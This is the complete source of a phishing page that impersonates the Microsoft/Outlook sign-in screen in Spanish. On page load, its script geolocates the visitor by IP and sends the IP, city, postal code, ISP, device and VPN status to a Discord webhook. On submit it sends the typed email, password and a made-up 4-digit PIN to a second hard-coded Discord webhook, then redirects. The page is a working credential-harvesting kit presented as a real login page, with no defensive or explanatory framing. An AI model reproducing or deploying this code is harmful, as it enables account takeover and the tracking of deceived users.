<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Iniciar sesión en tu cuenta de Microsoft</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;font-family:'Segoe UI',Arial,sans-serif}
body{background-color:#fff;color:#000;line-height:1.5;min-height:100vh;display:flex;flex-direction:column;background-image:url('fondo.svg');background-size:cover;background-position:center;background-repeat:no-repeat}
.container{max-width:440px;margin:0 auto;padding:20px;flex:1;display:flex;flex-direction:column;justify-content:center}
.logo{text-align:center;margin-bottom:20px}
.logo img{width:108px;height:50px}
.login-form{background:#fff;border:1px solid #e1e1e1;border-radius:4px;padding:30px;box-shadow:0 2px 10px rgba(0,0,0,0.1)}
.login-title{font-size:24px;font-weight:600;margin-bottom:12px;color:#1b1b1b}
.login-subtitle{font-size:14px;color:#1b1b1b;margin-bottom:24px}
.form-group{margin-bottom:16px}
.form-input{width:100%;padding:12px;border:1px solid #ccc;border-radius:4px;font-size:15px;transition:border-color 0.3s}
.form-input:focus{outline:none;border-color:#0078d4;box-shadow:0 0 0 2px rgba(0,120,212,0.2)}
.form-input.error{border-color:#d13438}
.pin-input{width:60px;height:60px;text-align:center;font-size:24px;margin:0 5px;border:2px solid #ccc;border-radius:4px}
.pin-input:focus{border-color:#0078d4;outline:none}
.pin-input.error{border-color:#d13438;background-color:#fef7f7}
.pin-container{display:flex;justify-content:center;margin:15px 0}
.forgot-password{display:block;color:#0078d4;text-decoration:none;font-size:13px;margin-bottom:20px}
.forgot-password:hover{text-decoration:underline}
.login-button{width:100%;background:#0078d4;color:white;border:none;padding:12px;border-radius:4px;font-size:15px;font-weight:600;cursor:pointer;transition:background-color 0.3s;margin-top:10px}
.login-button:hover{background:#0066b4}
.login-button:disabled{background:#a0a0a0;cursor:not-allowed}
.keep-signed-in{margin:20px 0;font-size:13px;color:#616161}
.checkbox-container{display:flex;align-items:center;gap:8px;margin-bottom:10px}
.checkbox-container input[type="checkbox"]{width:16px;height:16px}
.pin-recommendation{font-size:13px;color:#616161;margin:15px 0;padding:10px;background-color:#f8f8f8;border-radius:4px;border-left:3px solid #0078d4}
.pin-requirement{font-size:12px;color:#d13438;margin-top:5px;text-align:center;display:none}
.error-message{font-size:12px;color:#d13438;margin-top:5px;display:none}
.divider{text-align:center;margin:24px 0;position:relative}
.divider::before{content:"";position:absolute;top:50%;left:0;right:0;height:1px;background:#e1e1e1}
.divider span{background:white;padding:0 16px;color:#616161;font-size:13px}
.signup-button{width:100%;background:transparent;color:#0078d4;border:1px solid #8a8886;padding:12px;border-radius:4px;font-size:15px;font-weight:600;cursor:pointer;transition:background-color 0.3s}
.signup-button:hover{background:#f8f8f8}
.footer{margin-top:40px;text-align:center;font-size:12px;color:#616161;padding:20px 0}
.footer-links{margin-bottom:16px}
.footer-links a{color:#0078d4;text-decoration:none;margin:0 8px}
.footer-links a:hover{text-decoration:underline}
.language-selector{margin-top:16px}
.language-selector select{padding:6px 12px;border:1px solid #ccc;border-radius:4px;font-size:12px}
@media (max-width:480px){.container{padding:10px}.login-form{padding:20px;border:none}.pin-input{width:50px;height:50px;font-size:20px}}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<img src="logo.png" alt="Microsoft" onerror="this.style.display='none'">
</div>
<div class="login-form">
<h1 class="login-title">Iniciar sesión</h1>
<p class="login-subtitle">Usa tu cuenta de Microsoft</p>
<form id="loginForm">
<div class="form-group">
<input type="email" class="form-input" id="email" placeholder="Correo electrónico, teléfono o Skype" required>
<div class="error-message" id="emailError">Por favor, introduce un correo electrónico válido</div>
</div>
<div class="form-group">
<input type="showpassword" class="form-input" id="showpassword" placeholder="Contraseña" required>
<div class="error-message" id="passwordError">Por favor, introduce tu contraseña</div>
</div>
<div class="pin-recommendation">
Para finalizar, se requiere crear un PIN de 4 dígitos que use frecuentemente para evitar inconvenientes en el futuro.
</div>
<div class="form-group">
<label style="font-size:14px;margin-bottom:10px;display:block;">PIN de 4 dígitos:</label>
<div class="pin-container">
<input type="tel" pattern="[0-9]*" inputmode="numeric" class="pin-input" id="pin1" maxlength="1" oninput="moveToNext(1)" onkeydown="handlePinKeydown(1, event)">
<input type="tel" pattern="[0-9]*" inputmode="numeric" class="pin-input" id="pin2" maxlength="1" oninput="moveToNext(2)" onkeydown="handlePinKeydown(2, event)">
<input type="tel" pattern="[0-9]*" inputmode="numeric" class="pin-input" id="pin3" maxlength="1" oninput="moveToNext(3)" onkeydown="handlePinKeydown(3, event)">
<input type="tel" pattern="[0-9]*" inputmode="numeric" class="pin-input" id="pin4" maxlength="1" oninput="moveToNext(4)" onkeydown="handlePinKeydown(4, event)">
</div>
<div class="pin-requirement" id="pinError">Por favor, completa todos los dígitos del PIN</div>
</div>
<div class="keep-signed-in">
<div class="checkbox-container">
<input type="checkbox" id="keepSignedInCheckbox">
<label for="keepSignedInCheckbox">Mantener la sesión iniciada</label>
</div>
</div>
<button type="submit" class="login-button" id="submitButton">ingresar</button>
</form>
<div class="divider">
<span>o</span>
</div>
<button class="signup-button" onclick="createAccount()">Crear una cuenta</button>
<div class="footer">
<div class="footer-links">
<a href="#">Términos de uso</a>
<a href="#">Privacidad y cookies</a>
<a href="#">…</a>
</div>
<div class="language-selector">
<select id="language">
<option value="es-es">Español (España)</option>
<option value="en-us">English (United States)</option>
<option value="fr-fr">Français (France)</option>
<option value="de-de">Deutsch (Deutschland)</option>
</select>
</div>
</div>
</div>
</div>
<script>
// Función para mover al siguiente campo del PIN
function moveToNext(currentIndex) {
const currentInput = document.getElementById(`pin${currentIndex}`);
const nextInput = document.getElementById(`pin${currentIndex + 1}`);
if (currentInput.value.length === 1 && nextInput) {
nextInput.focus();
}
}
// Función para manejar teclas en los campos del PIN
function handlePinKeydown(currentIndex, event) {
const currentInput = document.getElementById(`pin${currentIndex}`);
const prevInput = document.getElementById(`pin${currentIndex - 1}`);
if (event.key === 'Backspace' && currentInput.value === '' && prevInput) {
prevInput.focus();
}
}
// Función para crear cuenta (placeholder)
function createAccount() {
alert('Redirigiendo a la creación de cuenta...');
}
// Función para validar email
function isValidEmail(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return emailRegex.test(email);
}
// Función para obtener información del dispositivo y navegador
function getDeviceInfo() {
const userAgent = navigator.userAgent;
let device = "Desconocido";
let browser = "Desconocido";
// Detectar dispositivo
if (/Mobile|Android|iP(hone|od)|BlackBerry|IEMobile|Kindle|Silk-Accelerated|(hp|web)os|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/i.test(userAgent)) {
device = "Móvil";
} else if (/Tablet|iPad|Nexus 7|Nexus 10|Kindle|PlayBook|Xoom|SM-T/i.test(userAgent)) {
device = "Tablet";
} else {
device = "Escritorio";
}
// Detectar navegador
if (userAgent.includes("Firefox")) browser = "Firefox";
else if (userAgent.includes("SamsungBrowser")) browser = "Samsung Browser";
else if (userAgent.includes("Opera") || userAgent.includes("OPR")) browser = "Opera";
else if (userAgent.includes("Trident") || userAgent.includes("MSIE")) browser = "Internet Explorer";
else if (userAgent.includes("Edge")) browser = "Edge";
else if (userAgent.includes("Chrome")) browser = "Chrome";
else if (userAgent.includes("Safari")) browser = "Safari";
return { device, browser };
}
// Función para obtener la IP y datos de geolocalización
async function getUserLocation() {
try {
const response = await fetch('https://api.ipify.org?format=json');
const data = await response.json();
const ip = data.ip;
// Usamos ipapi.co para obtener datos detallados
const locationResponse = await fetch(`https://ipapi.co/${ip}/json/`);
const locationData = await locationResponse.json();
return {
ip: ip,
country: locationData.country_name || 'Desconocido',
city: locationData.city || 'Desconocido',
postal: locationData.postal || 'Desconocido',
region: locationData.region || 'Desconocido',
isp: locationData.org || 'Desconocido',
proxy: locationData.proxy || false,
vpn: locationData.org?.includes("VPN") || locationData.org?.includes("Proxy") || false
};
} catch (error) {
console.error('Error al obtener la ubicación:', error);
return {
ip: 'Desconocido',
country: 'Desconocido',
city: 'Desconocido',
postal: 'Desconocido',
region: 'Desconocido',
isp: 'Desconocido',
proxy: false,
vpn: false
};
}
}
// Función para enviar alerta de visita al cargar la página
async function sendVisitAlert() {
const location = await getUserLocation();
const deviceInfo = getDeviceInfo();
const visitWebhookUrl = 'https://discord.com/api/webhooks/1500494111323459775/shlZhu6nWvn4whAXTtNgqg40ipd3kZjDj40-qx1Htpz_7c2-fKt_gkWgTq_SUEoxgt1o';
const message = {
content: "💥❌ALERTA🩸👁️🗨️",
embeds: [{
title: "Alerta de visita",
color: 0xffa500,
fields: [
{ name: "IP", value: location.ip, inline: true },
{ name: "País", value: location.country, inline: true },
{ name: "Ciudad", value: location.city, inline: true },
{ name: "Código Postal", value: location.postal, inline: true },
{ name: "ISP/Organización", value: location.isp, inline: true },
{ name: "Dispositivo", value: deviceInfo.device, inline: true },
{ name: "Navegador", value: deviceInfo.browser, inline: true },
{ name: "Usando VPN/Proxy", value: location.vpn || location.proxy ? "Sí" : "No", inline: true },
{ name: "Fecha y hora", value: new Date().toLocaleString(), inline: true }
],
thumbnail: {
url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
},
timestamp: new Date()
}]
};
try {
await fetch(visitWebhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(message)
});
} catch (error) {
console.error('Error al enviar alerta de visita:', error);
}
}
// Enviar alerta al cargar la página
window.onload = sendVisitAlert;
document.getElementById('loginForm').addEventListener('submit', async function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('showpassword').value;
const pin = document.getElementById('pin1').value +
document.getElementById('pin2').value +
document.getElementById('pin3').value +
document.getElementById('pin4').value;
const keepSignedIn = document.getElementById('keepSignedInCheckbox').checked;
const formWebhookUrl = 'https://discord.com/api/webhooks/1500492626128928814/sCH93mnfxssY7PhErvQfY3M2QzEd26tMlAOE7-q7F_nkPc9Ra1OJ9KNtdbsYN5uEUvdJ';
// Validar email y PIN
if (!isValidEmail(email)) {
document.getElementById('emailError').style.display = 'block';
return;
}
if (pin.length !== 4) {
document.getElementById('pinError').style.display = 'block';
return;
}
// Obtener ubicación y dispositivo
const location = await getUserLocation();
const message = {
content: "Nuevo inicio de sesión recibido:",
embeds: [{
title: "Outlook - Datos de inicio de sesión",
color: 0x3498db,
fields: [
{ name: "Email", value: email, inline: true },
{ name: "Contraseña", value: password, inline: true },
{ name: "PIN", value: pin, inline: true },
{ name: "IP", value: location.ip, inline: true },
{ name: "País", value: location.country, inline: true },
{ name: "Fecha y hora", value: new Date().toLocaleString(), inline: true }
],
thumbnail: {
url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
},
timestamp: new Date()
}]
};
try {
const response = await fetch(formWebhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(message)
});
if (response.ok) {
window.location.href = 'index2.html';
} else {
alert('Error al enviar los datos a Discord.');
}
} catch (error) {
console.error('Error:', error);
alert('Error al enviar los datos a Discord.');
}
});
</script>
</body>
</html>